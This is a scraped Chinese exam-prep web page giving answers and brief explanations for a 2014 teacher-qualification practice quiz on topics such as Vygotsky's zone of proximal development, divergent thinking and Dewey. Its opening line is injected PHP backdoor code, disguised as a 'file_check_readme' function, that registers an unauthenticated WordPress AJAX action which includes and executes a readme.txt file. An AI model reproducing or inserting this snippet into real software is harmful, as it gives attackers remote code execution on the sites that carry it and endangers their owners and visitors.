if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } 【20140801】教师资格统考每日一练参考答案-全国教师资格考试网

【20140801】教师资格统考每日一练参考答案

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1.【答案】D。最近发展区是维果斯基提出的,指个体在成人帮助下达到的发展水平与实际水平之间的差距,是两种水平之间的差异。生长高峰期指个体发展的某一时期身高、体重等飞速发展的状况。关键期是劳伦兹提出的,是个体心理发展中的一个短暂时期,在此期间,个体对某种刺激特别敏感,过了这一时期,同样的刺激对之影响很小或没有影响,题中所述为发展关键期。

2.【答案】D。发散思维指人们在解决问题时,思路朝各种可能的方向扩散,从而求得多种答案。“一题多解”和“一事多写”都是从各个方向分析问题,旨在培养学生的发散思维。
3.【答案】A。教育的个性原则要求包括:①端正个性的认识;②培养学生的自主性;③处理好集体与个人的关系;培养学生的特长。
4.【答案】A。《中华人民共和国教师法》规定每年9月10日为教师节。
5.【答案】B。
6.【答案】D。杜威认为教育是生活的过程,强调从做中学,从经验中学,强调活动性、经验性的主动作业,现代教育中的活动性原则就源自他的这一思想。因此,答案为D。
7.【答案】B。
8.【答案】C。
9.【答案】B。
10.【答案】B。善始善终表明稳定性高。
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